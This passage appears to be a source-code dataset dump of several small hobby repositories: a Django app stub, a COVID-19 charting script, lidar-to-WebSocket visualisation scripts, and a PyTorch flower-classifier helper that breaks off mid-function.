31c0040a91b87c6b500d27062f2ddd29ae8163eb
c7f26022c187eddfd3f27d130b772fefbe71f859
cae8d4ac900271001f656f0afeb6e77688885840
refs/heads/master
2021-01-21T21:55:15.904809
2017-06-22T15:48:22
2017-06-22T15:48:22
95,129,612
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7777777910232544, "alphanum_fraction": 0.7777777910232544, "avg_line_length": 18.799999237060547, "blob_id": "88fd08a3c35a8cc67d4ede88a45583d355d22636", "content_id": "2d281c5050282fddc7eac149aa86899c90636da0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 99, "license_type": "no_license", "max_line_length": 36, "num_lines": 5, "path": "/foobalicious/apps.py", "repo_name": "Mormoran/foobar", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass FoobaliciousConfig(AppConfig):\n name = 'foobalicious'\n" } ]
1
ArielRobotti/covid19_propagation_graphics
https://github.com/ArielRobotti/covid19_propagation_graphics
166e29244aeb5b2836634e0e863d62827d886155
514017e913d012eed2cd8df1cc60ac2db3681cfd
f9d2a23d0e9cc663063a87b8a253b9051554880b
refs/heads/master
2021-04-16T03:14:08.563924
2020-03-23T03:13:14
2020-03-23T03:13:14
249,323,007
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7039911150932312, "alphanum_fraction": 0.7256097793579102, "avg_line_length": 25.91044807434082, "blob_id": "ccc34c9c400f909a1e90eb29ee27026d425b2ff1", "content_id": "ef925fe618bbff858cca9ed2d6b794c6ab625d10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1804, "license_type": "no_license", "max_line_length": 106, "num_lines": 67, "path": "/graficas.py", "repo_name": "ArielRobotti/covid19_propagation_graphics", "src_encoding": "UTF-8", "text": "\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom urllib.request import urlretrieve as retrieve\n\nurl=\"https://covid.ourworldindata.org/data/ecdc/full_data.csv\"\nretrieve(url,\"full_data.csv\")\ndataset=pd.DataFrame(pd.read_csv('full_data.csv'))\n\npais=\"Argentina\"\n\ndataPais=dataset.loc[dataset['location']==pais]\n\ncasos=list(dataPais.total_cases)\ninicio=None\nfor i in range(len(casos)):\n\tif casos[i]!=0:\n\t\tinicio=i\n\t\tbreak\n\ncasos=casos[inicio:]\nnuevosCasos=list(dataPais.new_cases)[inicio:]\nmuertes=list(dataPais.total_deaths)[inicio:]\nnuevasMuertes=list(dataPais.new_deaths)[inicio:]\nfecha=[]\n\nfor i in list(dataPais.date):\n\tfecha.append(str(i[8:10])+\"/\"+str(i[5:7]))\nfecha=fecha[inicio:]\n\nplt.subplot(2,2,1)\n\nplt.plot(fecha,casos,'o-',color=\"Black\",label=\"Primer caso registrado el {}\".format(fecha[0]))\nplt.fill_between(fecha,casos,label=\"Casos confirmados: {}\".format(casos[-1]),color='#ecab43')\nplt.grid(True)\n\nplt.title(\"Graficas covid-19 {}\".format(pais))\n\nplt.plot(fecha,nuevosCasos,'o-',color=\"Black\")\n\nplt.fill_between(fecha,nuevosCasos,color='#e9460c',label=\"Nuevos casos: {}\".format(nuevosCasos[-1]))\nplt.grid(True)\nplt.legend()\n\nplt.subplot(2,2,2)\n\nplt.plot(fecha,muertes,'o-',color=\"Black\")\nplt.fill_between(fecha,muertes,label=\"Muertes: {}\".format(muertes[-1]),color='#ecab43')\nplt.grid(True)\nplt.plot(fecha,nuevasMuertes,'o-',color=\"Black\")\nplt.fill_between(fecha,nuevasMuertes,color='#e9460c',label=\"Nuevas muertes: {}\".format(nuevasMuertes[-1]))\nplt.xlabel(\"fecha\")\nplt.ylabel(\"Casos\")\nplt.legend()\n\nplt.subplot(2,2,3)\nindice=[]\nfor i in range(len(casos)):\n\ttry:\n\t\tindice.append(muertes[i]*100/casos[i])\n\texcept ZeroDivisionError:\n\t\tindice.append(0)\n\nplt.plot(fecha,indice, 'o-',label=\"Ultimo indice de mortalidad: {}\".format(indice[-1]))\nplt.legend()\n\nplt.show()\n" }, { "alpha_fraction": 0.7874395847320557, "alphanum_fraction": 0.8067632913589478, "avg_line_length": 102.5, "blob_id": "0904186b57e3204374cffde765613ed3ca5328cd", "content_id": "4b5c91a385666357160c85fc9fdc960808eff481", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 207, "license_type": "no_license", "max_line_length": 175, "num_lines": 2, "path": "/README.md", "repo_name": "ArielRobotti/covid19_propagation_graphics", "src_encoding": "UTF-8", "text": "# covid19_propagation_graphics\nCovid 19 propagation charts. Default setting for Argentina. You just have to change the name to the variable \"country\" by the name of the country whose graphs you want to know\n" } ]
2
viktortanchik/ledar_WEBSOKET
https://github.com/viktortanchik/ledar_WEBSOKET
aa0a0daf12a2a1f652627a39e67a894eb2949641
6e259b966b4a5c32b5b8cfb36df97d6e18caa487
b85a1e164bbab871aa0859ef1653ac4da914b34b
refs/heads/master
2023-08-11T14:54:22.893494
2021-10-08T12:06:59
2021-10-08T12:06:59
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4959196448326111, "alphanum_fraction": 0.5119271874427795, "avg_line_length": 28.481481552124023, "blob_id": "67dff2781e2bffae8a4d0ee35cb9a268fd68d922", "content_id": "988d0e360db5fcee3fcf989288a5beeee947567f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3186, "license_type": "no_license", "max_line_length": 119, "num_lines": 108, "path": "/main.py", "repo_name": "viktortanchik/ledar_WEBSOKET", "src_encoding": "UTF-8", "text": "from fastapi import FastAPI, WebSocket\nfrom fastapi.responses import HTMLResponse\nimport json\nfrom datetime import datetime\nimport csv\n\napp = FastAPI()\n\n\n\nhtml = \"\"\"\n<!DOCTYPE html>\n<html>\n <head>\n <title>Chat</title>\n </head>\n <body>\n\n <a href=\"http://127.0.0.1:8000/FTSE%20100\">STATISTIC</a>\n <h1>WebSocket Real Time Chat</h1>\n <form action=\"\" onsubmit=\"sendMessage(event)\">\n <input type=\"text\" id=\"messageText\" autocomplete=\"off\"/>\n <button>Send</button>\n \n\n </form>\n <div id='messages'>\n </div>\n <canvas id=\"canvas\" width=\"1000\" height=\"1000\"></canvas>\n\n <script>\n function drawPoint(context, x, y, label, color, size) {\n \tif (color == null) {\n \tcolor = 'red';\n }\n if (size == null) {\n size = 5;\n }\n \n \tvar radius = 0.5 * size;\n\n \t// to increase smoothing for numbers with decimal part\n\t\tvar pointX = Math.round(x - radius);\n var pointY = Math.round(y - radius);\n \n context.beginPath();\n context.fillStyle = color;\n \tcontext.fillRect(pointX, pointY, size, size);\n context.fill();\n \n \n }\n\n \n var ws = new WebSocket(\"ws://localhost:8000/ws\");\n\n ws.onmessage = function(event) {\n let messages = document.getElementById('messages')\n let message = document.createElement('li')\n let content = document.createTextNode(JSON.parse(event.data).message+\" - \"+JSON.parse(event.data).time)\n messages.innerHTML = JSON.parse(event.data).XY+\" - \"+JSON.parse(event.data).XYnex\n let Xnow = Number(JSON.parse(event.data).XY[0])\n let Ynow = Number(JSON.parse(event.data).XY[1])\n let Xnex = Number(JSON.parse(event.data).XYnex[0])\n let Ynex = Number(JSON.parse(event.data).XYnex[1])\n \n var canvas = document.querySelector('#canvas');\n var context = canvas.getContext('2d');\n \n drawPoint(context, Xnow+500, Ynow+500, 'red', 1);\n \n };\n setInterval(()=>{\n ws.send('df')\n }, 0);\n function sendMessage(event) {\n var input = document.getElementById(\"messageText\")\n ws.send(input.value)\n input.value = ''\n event.preventDefault()\n }\n </script>\n </body>\n</html>\n\"\"\"\n\n\[email protected](\"/\")\nasync def get():\n return HTMLResponse(html)\n\n\[email protected](\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket):\n await websocket.accept()\n\n while True:\n XY=[]\n with open(\"XY.csv\", \"r\") as file1:\n for line in file1:\n reader = csv.reader(file1)\n for row in reader:\n XY.append(row)\n for i in range(len(XY)):\n data = await websocket.receive_text()\n #print(XY[i][0])\n await websocket.send_text(json.dumps({\"message\": data, \"XY\": XY[i],\"XYnex\":XY[i+1]}))\n XY=0\n\n\n" }, { "alpha_fraction": 0.6749049425125122, "alphanum_fraction": 0.73384028673172, "avg_line_length": 26.578947067260742, "blob_id": "0fcc1e093dff69e9d61e967a3bb07ea4b25ae126", "content_id": "875e722d0df0ed96257e1a7f700cbc824fad68bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 526, "license_type": "no_license", "max_line_length": 63, "num_lines": 19, "path": "/jsDraw2D.js", "repo_name": "viktortanchik/ledar_WEBSOKET", "src_encoding": "UTF-8", "text": "\n//Create jsGraphics object\nvar gr = new jsGraphics(document.getElementById(\"canvas\"));\n\n//Create jsColor object\nvar col = new jsColor(\"red\");\n\n//Create jsPen object\nvar pen = new jsPen(col,1);\n\n//Draw a Line between 2 points\nvar pt1 = new jsPoint(20,30);\nvar pt2 = new jsPoint(120,230);\ngr.drawLine(pen,pt1,pt2);\n\n//Draw filled circle with pt1 as center point and radius 30.\ngr.fillCircle(col,pt1,30);\n\n//You can also code with inline object instantiation like below\ngr.drawLine(pen,new jsPoint(40,10),new jsPoint(70,150));\n\n" }, { "alpha_fraction": 0.4712643623352051, "alphanum_fraction": 0.49712643027305603, "avg_line_length": 13.458333015441895, "blob_id": "6d43753ae6311c9ad9ade4dd88a1c229a302c7a8", "content_id": "11801b3575102aeacef5e8a453c05d6d3519c060", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 365, "license_type": "no_license", "max_line_length": 49, "num_lines": 24, "path": "/inst.py", "repo_name": "viktortanchik/ledar_WEBSOKET", "src_encoding": "UTF-8", "text": "#f = open(\"test.txt\", mode='r', encoding='utf-8')\nlists=[]\n#18\n#1687\n\n#ls=''\n\n\n\nprint(lists.replace(\"'\",\"\"))\n#\n# with open(\"test.txt\", \"r\") as file1:\n# # итерация по строкам\n# for line in file1:\n# #print(line.strip().replace(\"'\", \"\"))\n# i=line.strip().replace(\"'\", \"\")\n# lists.append(i)\n#\n# print(lists)\n\n\"\"\"\n\n\n\"\"\"\n\n" }, { "alpha_fraction": 0.5046956539154053, "alphanum_fraction": 0.5283478498458862, "avg_line_length": 36.0044059753418, "blob_id": "d61dd67f99e0a0ef61694c48e9c596f6f40ed039", "content_id": "e797fb394e264cc90735eead3b89a91736cc8f32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8625, "license_type": "no_license", "max_line_length": 140, "num_lines": 227, "path": "/main5.py", "repo_name": "viktortanchik/ledar_WEBSOKET", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nFrom main library's example, ScatterPlot.py,\r\nI have taken out one of chart to make it for lidar data display.\r\nThe lidar related codes were taken from working code of Vidicon@DISCORD.\r\nLast updated : Aug. 26, 2021\r\n\"\"\"\r\nfrom pyqtgraph.Qt import QtGui, QtCore\r\nimport pyqtgraph as pg\r\nimport numpy as np\r\nfrom collections import namedtuple\r\nfrom itertools import chain\r\nimport sys\r\n\r\nimport serial # For this one, you must install pyserial, not serial\r\nfrom enum import Enum\r\nimport time\r\nimport math\r\nimport csv\r\n\r\n# SERIAL_PORT = \"/dev/ttyS5\" # for Orange Pi Zero 2's serial port\r\n#SERIAL_PORT = \"COM10\"#/dev/ttyUSB0\" # for Other PC's USB to Serial module\r\nSERIAL_PORT = \"/dev/ttyUSB0\" # for Other PC's USB to Serial module\r\n\r\n\r\nclass State(Enum):\r\n START1 = 0\r\n START2 = 1\r\n HEADER = 2\r\n DATA = 3\r\n\r\n\r\ndef readbytes(file, count):\r\n data = ser.read(count)\r\n # data = f.read(count)\r\n if len(data) != count:\r\n print(\"End of file\")\r\n return False\r\n return data\r\n\r\n\r\nstep = (math.pi * 2)\r\nanglePlus = math.pi / 2\r\nfullround = 1500 # max dots in 1 round, it is larger than the real max dots in slowest mode\r\npos = np.zeros(shape=(3, fullround))\r\nspots = [{'pos': pos[:, i], 'data': 1} for i in range(fullround)] + [{'pos': [0, 0], 'data': 1}]\r\n\r\nfile_name = \"RAW_DATA.LOG\"\r\ntry:\r\n # f = open(file_name, \"rb\")\r\n ser = serial.Serial(SERIAL_PORT, 153600, timeout=0.1)\r\n time.sleep(1)\r\nexcept:\r\n print(\"could not connect to device\")\r\n exit()\r\n\r\napp = QtGui.QApplication([])\r\nmw = QtGui.QMainWindow()\r\nmw.resize(500, 500)\r\nview = pg.GraphicsLayoutWidget() ## GraphicsView with GraphicsLayout inserted by default\r\nmw.setCentralWidget(view)\r\nmw.show()\r\nmw.setWindowTitle('Lidar Test, unit in mm')\r\n\r\n## create areas to add plots\r\nw1 = view.addPlot()\r\nw1.setAspectLocked()\r\n\r\n\r\n###### Refresh Screen\r\ndef RefreshScreen():\r\n global spots # using globla spots array will ensure that it stores & clears data in same spot\r\n # Add polar grid lines\r\n w1.clear() # clear screen and start drawing basic lines\r\n w1.addLine(x=0, pen=0.3) # draw vertical center line\r\n w1.addLine(y=0, pen=0.3) # draw horizontal center line\r\n for radius in range(200, 2000, 200): # Draw 9 circles 200 ~ 2000 step 200\r\n # Adding circle (x, y, width, height)\r\n circleWidth = radius * 2\r\n circleHeight = radius * 2\r\n circle = pg.QtGui.QGraphicsEllipseItem(-radius, -radius, circleWidth, circleHeight)\r\n circle.setPen(pg.mkPen(0.3))\r\n w1.addItem(circle) # addItem means draw or plot. Here, draw circle\r\n # clear all data in the global spots array, make sure there will be no residue dots from previous round\r\n emptyone = np.zeros(shape=(2, fullround))\r\n spots = [{'pos': emptyone[:, i], 'data': 1} for i in range(fullround)] + [{'pos': [0, 0], 'data': 1}]\r\n\r\n\r\n###### Get Full Circle of Data\r\ndef GetDataFromOneFullCycle():\r\n counter = 0\r\n ThisRoundCount = 0 # counts within one round\r\n maxThisRound = 0 # Number of good numbers for this cycle\r\n global pos # using globla pos array will ensure we as storing data in same spot\r\n global spots # using globla spots array will ensure we as storing data in same spot\r\n run = True\r\n try:\r\n state = State.START1\r\n while run:\r\n if state == State.START1:\r\n data = ser.read(1)\r\n # data = readbytes(f, 1)\r\n if data[0] == 0xAA:\r\n state = State.START2\r\n continue\r\n elif state == State.START2:\r\n data = ser.read(1)\r\n # data = readbytes(f, 1)\r\n if data[0] == 0x55:\r\n state = State.HEADER\r\n else:\r\n state = State.START1\r\n continue\r\n elif state == State.HEADER:\r\n data = ser.read(8)\r\n # data = readbytes(f, 8)\r\n pack_type = data[0]\r\n data_lenght = int(data[1])\r\n start_angle = int(data[3] << 8) + int(data[2])\r\n stop_angle = int(data[5] << 8) + int(data[4])\r\n # unknown = int(data[7] << 8) + int(data[6])\r\n\r\n diff = stop_angle - start_angle\r\n if stop_angle < start_angle:\r\n diff = 0xB400 - start_angle + stop_angle\r\n\r\n angle_per_sample = 0\r\n if diff > 1 and (data_lenght - 1) > 0:\r\n angle_per_sample = diff / (data_lenght - 1)\r\n\r\n # print(\"[{}]\\ttype:{},\\tlenght {},\\tstart: {},\\tstop: {}, \\tdiff: {} \\tdiff: {}\"\r\n # .format(counter, pack_type, data_lenght, start_angle, stop_angle, diff, angle_per_sample), end=\"\\n\")\r\n\r\n counter += 1\r\n # if pack_type != 40:\r\n # counter = 0\r\n\r\n state = State.DATA\r\n continue\r\n\r\n elif state == State.DATA:\r\n state = State.START1\r\n # read data\r\n data = ser.read(data_lenght * 3)\r\n # data = readbytes(f, data_lenght * 3)\r\n if data == False:\r\n break\r\n\r\n for i in range(0, data_lenght):\r\n\r\n data0 = int(data[i * 3 + 0])\r\n data1 = int(data[i * 3 + 1])\r\n data2 = int(data[i * 3 + 2])\r\n distance = (data2 << 8) + data1\r\n\r\n angle = (start_angle + angle_per_sample * i)\r\n anglef = step * (angle / 0xB400)\r\n # print(\"[{}]\\tangle:{},\\tanglef {},\\tdist: {}\".format(i, data0, (anglef + anglePlus), (distance/1000)), end=\"\\n\")\r\n distanceDivided = distance / 1000 # div to convert mm to meter\r\n # if (data0 != 1) & (distanceDivided < 3) :\r\n if (distanceDivided < 120):\r\n distanceDivided = (distance / 5) # Adjust distance ratio. It is too large\r\n\r\n x = distanceDivided * np.cos(anglef)\r\n y = distanceDivided * np.sin(anglef)\r\n pos[0][ThisRoundCount] = y\r\n pos[1][ThisRoundCount] = x\r\n # print('X',x,' ', 'Y',y)\r\n\r\n with open(\"classmates.csv\", mode=\"a\", encoding='utf-8') as w_file:\r\n file_writer = csv.writer(w_file, delimiter=\",\", lineterminator=\"\\r\")\r\n\r\n\r\n\r\n x = float('{:.5f}'.format(x))\r\n y = float('{:.5f}'.format(y))\r\n print(x)\r\n file_writer.writerow([x,y])\r\n\r\n\r\n\r\n\r\n # print(\"[{}]\\tDistance:{},\\tanglef {},\\tx:y: {}{}\".format(ThisRoundCount, distanceDivided, anglef, x, y), end=\"\\n\")\r\n ThisRoundCount += 1\r\n\r\n if pack_type != 40: # After 1 full round\r\n print(\"END ROUND\")\r\n spots = [{'pos': pos[:, i], 'data': 1} for i in range(ThisRoundCount)] + [\r\n {'pos': [0, 0], 'data': 1}]\r\n with open(\"classmates.csv\", mode=\"a\", encoding='utf-8') as w_file:\r\n file_writer = csv.writer(w_file, delimiter=\",\", lineterminator=\"\\r\")\r\n file_writer.writerow([None,None])\r\n\r\n\r\n ThisRoundCount = 0\r\n ser.reset_input_buffer() # This will clear serial line buffer, make update almost realtime.\r\n run = False # Completed the mission of filling data in spots, now exit to draw step.\r\n else:\r\n print(\"error\")\r\n\r\n except KeyboardInterrupt:\r\n run = False\r\n exit()\r\n\r\n ###### I have to focus on putting data here.\r\n\r\n\r\ndef _update():\r\n RefreshScreen() # Draw basic chart with no data dots\r\n\r\n GetDataFromOneFullCycle() # Get Full cycle of data from either File or Serial, prepare \"spots\"\r\n\r\n s1 = pg.ScatterPlotItem(size=5, pen=pg.mkPen(None), brush=pg.mkBrush(127, 255, 127, 120))\r\n s1.addPoints(spots)\r\n # addItem means draw or plot. Here, plot all points\r\n w1.addItem(s1, ignoreBounds=True) # ignoreBounds will prevent annoying rescaling\r\n\r\n\r\ntimer = QtCore.QTimer(interval=1)\r\ntimer.timeout.connect(_update)\r\n# timer.start(0.1) # duration number in millisecond\r\ntimer.start() # A.S.A.P.\r\n\r\nif __name__ == '__main__':\r\n import sys\r\n if (sys.flags.interactive != 1) or not hasattr(QtCore, 'PYQT_VERSION'):\r\n QtGui.QApplication.instance().exec_()" }, { "alpha_fraction": 0.44360989332199097, "alphanum_fraction": 0.4763525426387787, "avg_line_length": 32.91393280029297, "blob_id": "69272ea09cb77e8138e9622bf916cb720cd616bb", "content_id": "5a0bcc79bb8300703473f21bcba6d333a5be2cdf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8521, "license_type": "no_license", "max_line_length": 134, "num_lines": 244, "path": "/main_7_2point.py", "repo_name": "viktortanchik/ledar_WEBSOKET", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\nfrom collections import namedtuple\r\nfrom itertools import chain\r\nimport sys\r\n\r\nimport serial # For this one, you must install pyserial, not serial\r\nfrom enum import Enum\r\nimport time\r\nimport math\r\n\r\n# SERIAL_PORT = \"/dev/ttyS5\" # for Orange Pi Zero 2's serial port\r\n#SERIAL_PORT = \"COM10\"#/dev/ttyUSB0\" # for Other PC's USB to Serial module\r\nSERIAL_PORT = \"/dev/ttyUSB0\" # for Other PC's USB to Serial module\r\n\r\nclass State(Enum):\r\n START1 = 0\r\n START2 = 1\r\n HEADER = 2\r\n DATA = 3\r\ndef readbytes(file, count):\r\n data = ser.read(count)\r\n # data = f.read(count)\r\n if len(data) != count:\r\n print(\"End of file\")\r\n return False\r\n return data\r\n\r\ntry:\r\n # f = open(file_name, \"rb\")\r\n ser = serial.Serial(SERIAL_PORT, 153600, timeout=0.1)\r\n time.sleep(1)\r\nexcept:\r\n print(\"could not connect to device\")\r\n exit()\r\nstep = (math.pi * 2)\r\n\r\n###### Get Full Circle of Data\r\ndef GetDataFromOneFullCycle():\r\n counter = 0\r\n ThisRoundCount = 0 # counts within one round\r\n maxThisRound = 0 # Number of good numbers for this cycle\r\n global pos # using globla pos array will ensure we as storing data in same spot\r\n global spots # using globla spots array will ensure we as storing data in same spot\r\n run = True\r\n try:\r\n state = State.START1\r\n while run:\r\n if state == State.START1:\r\n data = ser.read(1)\r\n # data = readbytes(f, 1)\r\n if data[0] == 0xAA:\r\n state = State.START2\r\n continue\r\n elif state == State.START2:\r\n data = ser.read(1)\r\n # data = readbytes(f, 1)\r\n if data[0] == 0x55:\r\n state = State.HEADER\r\n else:\r\n state = State.START1\r\n continue\r\n elif state == State.HEADER:\r\n data = ser.read(8)\r\n # data = readbytes(f, 8)\r\n pack_type = data[0]\r\n data_lenght = int(data[1])\r\n start_angle = int(data[3] << 8) + int(data[2])\r\n stop_angle = int(data[5] << 8) + int(data[4])\r\n # unknown = int(data[7] << 8) + int(data[6])\r\n diff = stop_angle - start_angle\r\n if stop_angle < start_angle:\r\n diff = 0xB400 - start_angle + stop_angle\r\n angle_per_sample = 0\r\n if diff > 1 and (data_lenght - 1) > 0:\r\n angle_per_sample = diff / (data_lenght - 1)\r\n counter += 1\r\n state = State.DATA\r\n continue\r\n\r\n elif state == State.DATA:\r\n state = State.START1\r\n # read data\r\n data = ser.read(data_lenght * 3)\r\n # data = readbytes(f, data_lenght * 3)\r\n if data == False:\r\n break\r\n for i in range(0, data_lenght):\r\n data0 = int(data[i * 3 + 0])\r\n data1 = int(data[i * 3 + 1])\r\n data2 = int(data[i * 3 + 2])\r\n distance = (data2 << 8) + data1\r\n\r\n angle = (start_angle + angle_per_sample * i)\r\n anglef = step * (angle / 0xB400)\r\n # print(\"[{}]\\tangle:{},\\tanglef {},\\tdist: {}\".format(i, data0, (anglef + anglePlus), (distance/1000)), end=\"\\n\")\r\n distanceDivided = distance / 1000 # div to convert mm to meter\r\n # if (data0 != 1) & (distanceDivided < 3) :\r\n if (distanceDivided < 120):\r\n distanceDivided = (distance / 5) # Adjust distance ratio. It is too large\r\n\r\n x = distanceDivided * np.cos(anglef)\r\n y = distanceDivided * np.sin(anglef)\r\n #x = float('{:.10f}'.format(x))\r\n #y = float('{:.10f}'.format(y))\r\n #print(y)\r\n ThisRoundCount += 1\r\n if pack_type != 40:\r\n ser.reset_input_buffer()\r\n ThisRoundCount = 0\r\n #print(\"END ROUND\")\r\n return x,y\r\n\r\n\r\n\r\n else:\r\n print(\"error\")\r\n\r\n except KeyboardInterrupt:\r\n run = False\r\n exit()\r\n\r\n\r\n\r\n#==================================================WEBSOKET==================================================\r\nfrom fastapi import FastAPI, WebSocket\r\nfrom fastapi.responses import HTMLResponse\r\nimport json\r\nfrom datetime import datetime\r\nimport csv\r\n\r\napp = FastAPI()\r\n\r\nhtml = \"\"\"\r\n<!DOCTYPE html>\r\n<html>\r\n <head>\r\n <title>Chat</title>\r\n </head>\r\n <body>\r\n\r\n <a href=\"http://127.0.0.1:8000/FTSE%20100\">STATISTIC</a>\r\n <h1>WebSocket Real Time Chat</h1>\r\n <form action=\"\" onsubmit=\"sendMessage(event)\">\r\n <input type=\"text\" id=\"messageText\" autocomplete=\"off\"/>\r\n <button>Send</button>\r\n\r\n\r\n </form>\r\n <div id='messages'>\r\n </div>\r\n <canvas id=\"canvas\" width=\"2000\" height=\"2000\"></canvas>\r\n\r\n <script>\r\n let cler = 0;\r\n \r\n function drawPoint(context, x, y, label, color, size) {\r\n \r\n \tif (color == null) {\r\n \tcolor = 'red';\r\n }\r\n if (size == null) {\r\n size = 5;\r\n }\r\n cler++;\r\n if (cler ==360)\r\n {\r\n context.save();\r\n context.setTransform(1, 0, 0, 1, 0, 0);\r\n context.clearRect(0, 0, canvas.width, canvas.height);\r\n context.restore();\r\n cler=0;\r\n }\r\n \tlet radius = 0.5 * 100;\r\n\r\n \t// to increase smoothing for numbers with decimal part\r\n\t\tlet pointX = Math.round(x - radius);\r\n let pointY = Math.round(y - radius);\r\n\r\n context.beginPath();\r\n \r\n context.fillStyle = \"#FF0000\";\r\n \tcontext.fillRect(pointX, pointY, 10, 10);\r\n context.fill();\r\n context.arc(950, 950, 50, 0, Math.PI * 2, true); // Outer circle\r\n context.arc(950, 950, 250, 0, Math.PI * 2, true); // Outer circle\r\n context.arc(950, 950, 500, 0, Math.PI * 2, true); // Outer circle\r\n context.arc(950, 950, 750, 0, Math.PI * 2, true); // Outer circle\r\n context.arc(950, 950, 1000, 0, Math.PI * 2, true); // Outer circle\r\n context.arc(950, 950, 1250, 0, Math.PI * 2, true); // Outer circle\r\n context.arc(950, 950, 1500, 0, Math.PI * 2, true); // Outer circle\r\n context.arc(950, 950, 1750, 0, Math.PI * 2, true); // Outer circle\r\n context.arc(950, 950, 2000, 0, Math.PI * 2, true); // Outer circle\r\n\r\n context.closePath();\r\n context.stroke();\r\n }\r\n var ws = new WebSocket(\"ws://localhost:8000/ws\");\r\n ws.onmessage = function(event) {\r\n let messages = document.getElementById('messages')\r\n let message = document.createElement('li')\r\n let content = document.createTextNode(JSON.parse(event.data).message+\" - \"+JSON.parse(event.data).time)\r\n messages.innerHTML = JSON.parse(event.data).X+\" - \"+JSON.parse(event.data).Y\r\n let Xnow = Number(JSON.parse(event.data).X)\r\n let Ynow = Number(JSON.parse(event.data).Y) \r\n var canvas = document.querySelector('#canvas');\r\n var context = canvas.getContext('2d');\r\n drawPoint(context, Xnow+1000, Ynow+1000, 'red', 1);\r\n };\r\n setInterval(()=>{\r\n ws.send('df')\r\n }, 0);\r\n function sendMessage(event) {\r\n var input = document.getElementById(\"messageText\")\r\n ws.send(input.value)\r\n input.value = ''\r\n event.preventDefault()\r\n }\r\n </script>\r\n </body>\r\n</html>\r\n\"\"\"\r\n\r\n\r\[email protected](\"/\")\r\nasync def get():\r\n return HTMLResponse(html)\r\n\r\n\r\[email protected](\"/ws\")\r\nasync def websocket_endpoint(websocket: WebSocket):\r\n await websocket.accept()\r\n\r\n while True:\r\n data = await websocket.receive_text()\r\n # print(XY[i][0])\r\n X,Y=GetDataFromOneFullCycle()\r\n await websocket.send_text(json.dumps({\"message\": data, \"X\": X, \"Y\": Y}))\r\n\r\n\r\n\r\n\r\n#============================================================================================================\r\n\r\n" } ]
5
kushaliitm/deep-learning
https://github.com/kushaliitm/deep-learning
12fe25bb548ebb62366363ee9e296474bce8c401
ab8e23d1414d3b79bbe4a3acd57a475f6def7277
ccc0af13e6ae0dbf6513bccc216a87a345ade7ee
refs/heads/master
2020-06-28T12:56:51.492311
2019-08-02T13:33:34
2019-08-02T13:33:34
200,239,912
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5091825127601624, "alphanum_fraction": 0.5351033806800842, "avg_line_length": 39.21097183227539, "blob_id": "ec9b5f051ba8279bac71d730fdf7cd8bb13ac850", "content_id": "59c4f3dddfe490aa8fc01c6ed761816dc6d1a023", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9529, "license_type": "permissive", "max_line_length": 115, "num_lines": 237, "path": "/helper.py", "repo_name": "kushaliitm/deep-learning", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nfrom torch import nn, optim\nfrom torch.autograd import Variable\nimport json\nimport torch\nimport numpy as np\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\nfrom collections import OrderedDict\nfrom PIL import Image\n\ndef load_data(data_path = \"./flowers\"):\n data_dir = data_path\n train_dir = data_dir + '/train'\n valid_dir = data_dir + '/valid'\n test_dir = data_dir + '/test'\n train_transforms = transforms.Compose([transforms.RandomRotation(30),\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], \n [0.229, 0.224, 0.225])])\n\n test_transforms = transforms.Compose([transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], \n [0.229, 0.224, 0.225])])\n\n valid_transforms = transforms.Compose([transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], \n [0.229, 0.224, 0.225])])\n\n train_data = datasets.ImageFolder(train_dir, transform = train_transforms)\n test_data = datasets.ImageFolder(test_dir, transform = test_transforms)\n valid_data = datasets.ImageFolder(valid_dir, transform = valid_transforms)\n\n trainloader = torch.utils.data.DataLoader(train_data, batch_size=64, shuffle=True)\n testloader = torch.utils.data.DataLoader(test_data, batch_size=32)\n validloader = torch.utils.data.DataLoader(valid_data, batch_size=32)\n return trainloader, testloader, validloader\n\ndef load_pretrained_model(model_name, hidden_units):\n if model_name == 'densenet':\n model = models.densenet121(pretrained=True)\n for param in model.parameters():\n param.requires_grad = False\n classifier = nn.Sequential(OrderedDict([\n ('fc1', nn.Linear(1024, hidden_units)),\n ('relu1', nn.ReLU()),\n ('drop1', nn.Dropout(p = 0.4)),\n ('fc2', nn.Linear(hidden_units, 256)),\n ('relu2', nn.ReLU()),\n ('drop2', nn.Dropout(p = 0.3)),\n ('fc3', nn.Linear(256, 102)),\n ('output', nn.LogSoftmax(dim=1))\n ]))\n \n else:\n model = models.vgg13(pretrained=True)\n for param in model.parameters():\n param.requires_grad = False\n classifier = nn.Sequential(OrderedDict([\n ('fc1', nn.Linear(25088, hidden_units)),\n ('relu1', nn.ReLU()),\n ('drop1', nn.Dropout(p = 0.4)),\n ('fc2', nn.Linear(hidden_units, 256)),\n ('relu2', nn.ReLU()),\n ('drop2', nn.Dropout(p = 0.3)),\n ('fc3', nn.Linear(256, 102)),\n ('output', nn.LogSoftmax(dim=1))\n ])) \n model.classifier = classifier\n return model\n\ndef 